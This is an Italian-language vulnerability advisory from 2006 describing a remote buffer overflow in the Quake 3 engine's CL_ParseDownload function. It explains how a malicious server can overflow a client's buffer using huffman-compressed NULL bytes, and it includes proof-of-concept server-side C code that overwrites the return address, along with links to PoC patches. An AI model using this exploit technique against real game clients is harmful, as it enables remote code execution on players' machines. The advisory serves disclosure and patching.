####################################################################### Luigi Auriemma Applicazione: Quake 3 engine http://www.idsoftware.com http://www.icculus.org/quake3/ Versioni: Quake 3 <= 1.32c Icculus.org Quake 3 <= revision 795 other derived projects Giochi: esistono molti giochi che usano il motore di Quake 3 e molto probabilmente sono tutti vulnerabili ma non mi e' possibile e non ho tempo per testarli tutti. Una lista abbastanza completa di questi giochi e' disponibile qui: http://en.wikipedia.org/wiki/Quake_III_engine#Uses_of_the_engine Piattaforme: Windows, *nix, *BSD, Mac ed altre Bug: buffer-overflow in CL_ParseDownload Exploitation: remoto, contro client Data: 02 Jun 2006 Autore: Luigi Auriemma e-mail: aluigi@autistici.org web: aluigi.org ####################################################################### 1) Introduzione 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduzione =============== Il motore di Quake 3 e' il famoso motore di gioco sviluppato da id Software (http://www.idsoftware.com) nel lontano 1999 ma rimane tuttora uno dei motori piu' usati, licenziati e giocati. E' stato rilasciato come open source sotto la licenza GPL alcuni mesi fa' ed ora e' mantenuto principalmente da Icculus (http://www.icculus.org/quake3/) nonostante esistano molti altri progetti. ####################################################################### ====== 2) Bug ====== La funzione CL_ParseDownload situata in code/client/cl_parse.c viene usata dai clients per gestire i comandi di download (svc_download) ricevuti dal server. La funzione usa un numero a 16 bit con segno inviato dal server per copiare dati dalla rete nel buffer data di 16384 (MAX_MSGLEN) bytes: void CL_ParseDownload ( msg_t *msg ) { int size; unsigned char data[MAX_MSGLEN]; ... size = MSG_ReadShort ( msg ); if (size > 0) MSG_ReadData( msg, data, size ); ... Alcuni dettagli interessanti: I pacchetti (riassemblati) gestiti da Quake 3 possono essere massimo di 16384 bytes ma e' possibile bypassare questo limite attraverso la compressione huffman usata automaticamente ed in modo trasparente nel motore (thanx to Thilo Schulz). In breve per sfruttare questo bug basta usare 16384 bytes NULL (0x00), i quali occupano una quantita' di memoria molto limitata, seguiti dal solito "occorrente" (indirizzo di ritorno da sovrascrivere e shellcode). I dati copiati con MSG_ReadData sono grezzi quindi non esistono bytes da non utilizzare per sfruttare questo bug, qualsiasi byte e' valido. Da notare inoltre che il comando svc_download puo' essere inviato al client in qualsiasi momento quindi quest'ultimo puo' essere attaccato anche immediatamente subito dopo la fine del connect handshake (in pratica proprio il primo messaggio del server). ####################################################################### =========== 3) The Code =========== UPDATE 18 Oct 2007: PoC for the Quake 3 1.32 and 1.32c binary: http://aluigi.org/poc/q3cbof_132.lpatch http://aluigi.org/poc/q3cbof_132c.lpatch Il server deve essere modificato per inviare il comando svc_download malformato ed e' possibile usare le seguenti istruzioni che dimostrano come sovrascrivere l'indirizzo di ritorno con 0x61616161. E' sufficiente copiarle in code/server/sv_client.c proprio dopo il commento "// send the gamestate" che si trova circa alla linea 575: // send the gamestate int i; MSG_WriteByte( &msg, svc_download ); MSG_WriteShort( &msg, -1 ); // block != 0, for fast return MSG_WriteShort( &msg, 16384 + 32 ); // amount of bytes to copy for(i = 0; i < 16384; i++) { // overwrite the data buffer MSG_WriteByte(&msg, 0x00); // 0x00 for saving space } for(i = 0; i < 32; i++) { // do the rest of the job MSG_WriteByte(&msg, 'a'); // return address: 0x61616161 } SV_SendMessageToClient( &msg, client ); return; ####################################################################### ====== 4) Fix ====== Icculus correggera' il codice presto. Ho provato a contattare anche id Software ma e' solo tempo perso... Gli sviluppatori degli altri progetti e giochi non sono stati contattati (quasi tutti i giochi non sono piu' supportati e per me e' abbastanza impegnativo trovare e contattare ogni singolo sviluppatore degli altri progetti open source). #######################################################################